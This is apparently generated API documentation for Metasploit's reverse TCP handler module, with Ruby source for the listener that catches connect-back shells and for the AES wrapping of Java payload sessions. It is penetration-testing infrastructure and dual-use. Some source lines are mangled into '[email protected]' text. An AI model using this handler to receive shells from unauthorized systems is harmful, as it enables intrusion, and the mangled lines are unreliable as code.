Module: Msf::Handler::ReverseTcp

Includes:
Msf::Handler
Included in:
ReverseTcpAllPorts, ReverseTcpSsl
Defined in:
lib/msf/core/handler/reverse_tcp.rb

Overview

This module implements the reverse TCP handler. This means that it listens on a port waiting for a connection until either one is established or it is told to abort.

This handler depends on having a local host and port to listen on.

Constant Summary

Constants included from Msf::Handler

Claimed, Unused

Instance Attribute Summary

Attributes included from Msf::Handler

#exploit_config, #parent_payload

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Msf::Handler

#add_handler, #handle_connection, #handler, #handler_name, #wait_for_session, #wfs_delay

Class Method Details

.general_handler_typeObject

Returns the connection-described general handler type, in this case 'reverse'.


34
35
36
# File 'lib/msf/core/handler/reverse_tcp.rb', line 34

def self.general_handler_type
  "reverse"
end

.handler_typeObject

Returns the string representation of the handler type, in this case 'reverse_tcp'.


26
27
28
# File 'lib/msf/core/handler/reverse_tcp.rb', line 26

def self.handler_type
  return "reverse_tcp"
end

Instance Method Details

#cleanup_handlerObject

Closes the listener socket if one was created.


125
126
127
# File 'lib/msf/core/handler/reverse_tcp.rb', line 125

def cleanup_handler
  stop_handler
end

#initialize(info = {}) ⇒ Object

Initializes the reverse TCP handler and ads the options that are required for all reverse TCP payloads, like local host and local port.


42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# File 'lib/msf/core/handler/reverse_tcp.rb', line 42

def initialize(info = {})
  super

  register_options(
    [
      Opt::LHOST,
      Opt::LPORT(4444)
    ], Msf::Handler::ReverseTcp)

  # XXX: Not supported by all modules
  register_advanced_options(
    [
      OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]),
      OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
      OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
      OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
      OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false])
    ], Msf::Handler::ReverseTcp)


  self.handler_queue = ::Queue.new
end

#setup_handlerObject

Starts the listener but does not actually attempt to accept a connection. Throws socket exceptions if it fails to start the listener.


70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# File 'lib/msf/core/handler/reverse_tcp.rb', line 70

def setup_handler
  if datastore['Proxies'] and not datastore['ReverseAllowProxy']
    raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
  end

  ex = false

  comm  = datastore['ReverseListenerComm']
  if comm.to_s == "local"
    comm = ::Rex::Socket::Comm::Local
  else
    comm = nil
  end

  local_port = bind_port
  addrs = bind_address

  addrs.each { |ip|
    begin

      self.listener_sock = Rex::Socket::TcpServer.create(
        'LocalHost' => ip,
        'LocalPort' => local_port,
        'Comm'      => comm,
        'Context'   =>
          {
            'Msf'        => framework,
            'MsfPayload' => self,
            'MsfExploit' => assoc_exploit
          })

      ex = false

      comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )
      comm_used = Rex::Socket::Comm::Local if comm_used == nil

      if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )
        via = "via the #{comm_used.type} on session #{comm_used.sid}"
      else
        via = ""
      end

      print_status("Started reverse handler on #{ip}:#{local_port} #{via}")
      break
    rescue
      ex = $!
      print_error("Handler failed to bind to #{ip}:#{local_port}")
    end
  }
  raise ex if (ex)
end

#start_handlerObject

Starts monitoring for an inbound connection.


132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
# File 'lib/msf/core/handler/reverse_tcp.rb', line 132

def start_handler
  local_port = bind_port
  self.listener_thread = framework.threads.spawn("ReverseTcpHandlerListener-#{local_port}", false) {
    client = nil

    begin
      # Accept a client connection
      begin
        client = self.listener_sock.accept
      rescue
        wlog("Exception raised during listener accept: #{$!}\n\n#{[email protected]("\n")}")
        break
      end

      # Increment the has connection counter
      self.pending_connections += 1

      self.handler_queue.push( client )
    end while true
  }

  self.handler_thread = framework.threads.spawn("ReverseTcpHandlerWorker-#{local_port}", false) {
    while true
      client = self.handler_queue.pop
      begin
        handle_connection(wrap_aes_socket(client))
      rescue ::Exception
        elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{[email protected]("\n")}")
      end
    end
  }

end

#stop_handlerObject

Stops monitoring for an inbound connection.


214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
# File 'lib/msf/core/handler/reverse_tcp.rb', line 214

def stop_handler
  # Terminate the listener thread
  if (self.listener_thread and self.listener_thread.alive? == true)
    self.listener_thread.kill
    self.listener_thread = nil
  end

  # Terminate the handler thread
  if (self.handler_thread and self.handler_thread.alive? == true)
    self.handler_thread.kill
    self.handler_thread = nil
  end

  if (self.listener_sock)
    self.listener_sock.close
    self.listener_sock = nil
  end
end

#wrap_aes_socket(sock) ⇒ Object


166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
# File 'lib/msf/core/handler/reverse_tcp.rb', line 166

def wrap_aes_socket(sock)
  if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
    return sock
  end

  socks = Rex::Socket::tcp_socket_pair()
  socks[0].extend(Rex::Socket::Tcp)
  socks[1].extend(Rex::Socket::Tcp)

  m = OpenSSL::Digest.new('md5')
  m.reset
  key = m.digest(datastore["AESPassword"] || "")

  Rex::ThreadFactory.spawn('AESEncryption', false) {
    c1 = OpenSSL::Cipher.new('aes-128-cfb8')
    c1.encrypt
    c1.key=key
    sock.put([0].pack('N'))
    sock.put(c1.iv=c1.random_iv)
    buf1 = socks[0].read(4096)
    while buf1 and buf1 != ""
      sock.put(c1.update(buf1))
      buf1 = socks[0].read(4096)
    end
    sock.close()
  }
  Rex::ThreadFactory.spawn('AESEncryption', false) {
    c2 = OpenSSL::Cipher.new('aes-128-cfb8')
    c2.decrypt
    c2.key=key
    iv=""
    while iv.length < 16
      iv << sock.read(16-iv.length)
    end
    c2.iv = iv
    buf2 = sock.read(4096)
    while buf2 and buf2 != ""
      socks[0].put(c2.update(buf2))
      buf2 = sock.read(4096)
    end
    socks[0].close()
  }
  return socks[1]
end